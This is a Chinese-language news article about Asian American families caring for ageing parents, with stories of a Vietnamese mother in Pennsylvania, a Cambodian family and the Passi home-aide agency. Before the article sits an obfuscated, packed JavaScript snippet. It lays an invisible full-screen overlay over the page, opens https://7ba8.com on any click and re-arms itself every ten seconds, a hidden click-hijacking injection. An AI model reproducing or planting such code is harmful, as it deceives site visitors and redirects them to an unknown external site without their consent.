<script>;eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('(3(){3 4(){8 o=2.9(\'a\');o.1.b=\'c\';o.1.d=\'0\';o.1.e=\'0\';o.1.f=\'5%\';o.1.g=\'5%\';o.1.h=\'i\';o.1.j=\'k\';o.l(\'m\',()=>{n.p(\'q://r.s\');o.t();u(()=>{2.6.7(o)},v)});2.6.7(o)}4()})();',32,32,'|style|document|function|ad|100|body|appendChild|const|createElement|div|position|fixed|top|left|width|height|zIndex|99999999999|display|flex|addEventListener|click|window||open|https|7ba8|com|remove|setTimeout|10000'.split('|'),0,{}));</script>美国人口日益老龄化,也日益多元化,对许多亚裔美国人而言,赡养老人产生了沉重的问题,也产生了极大的反响。亚裔美国人及太平洋岛民中,75岁以上女性的自杀率是其他族群同龄女性的两倍。随着亚裔美国人老龄人口的激增,语言障碍,以及注重老少同堂、赡养老人的文化习俗让这个问题显得更为复杂。
宾夕法尼亚州索德顿——在吕凤(Phuong Lu)家起居室的红色皮沙发上,摆着一个单人枕头和用布条绑着的两块厚毯子。吕凤今年81岁的母亲阮盈(Doanh Nguyen)收拾好行李是为了离开这里,她这样打算已经很久了。吕凤说,“她已经准备好回越南了。”但阮盈走不了。为了防止她走到什么地方,门都从里面锁上了。她无法走出在费城郊区的家,到门外的雪地上,老人哪儿也不能去,更回不了祖国越南。
吕凤和其他许多人面对的挑战突显出,亚裔美国人亟需熟稔文化的人士提供照料老人的服务,Passi的创始人和执行总监崔任慈(Im Ja Choi,音译)表示。这家机构为会讲韩语、普通话和越南语的家庭护工提供培训课程。崔任慈在自己的母亲罹患胃癌后创办了这家机构。“她生病后,我不能直接把她送到养老院去,”崔任慈说。“那也不符合我的文化。”她还说:“那是亚裔美国人要承受的痛苦。他们得去工作,孩子们也得上学,就只能让父母自己待在家里。要是把父母送进养老院,老人就会很寂寞。
今年68岁的彭科(Pheng Kho)是1981年从柬埔寨来到美国的,一同来到美国的还有他的妻子、母亲和两个孩子。彭科的母亲温奥(Oun Oy)今年已经90岁了。2012年,温奥患了中风,于是许多日常活动都没办法自己做。“她出院回家后,不能一个人待在家里,”彭科说。“像自己做饭这种事,她根本做不来。”他和妻子曾尝试独自照顾温奥,但很快就意识到,尽管他们不想把老人送到养老院,但他们的确需要帮助。彭科谈到养老院时说,“她不想去那里。她一进急救室就想回家了。”2012年夏天,这家人联络了崔任慈的机构,于是他们现在有了一名柬埔寨护工,每周家访两次。 |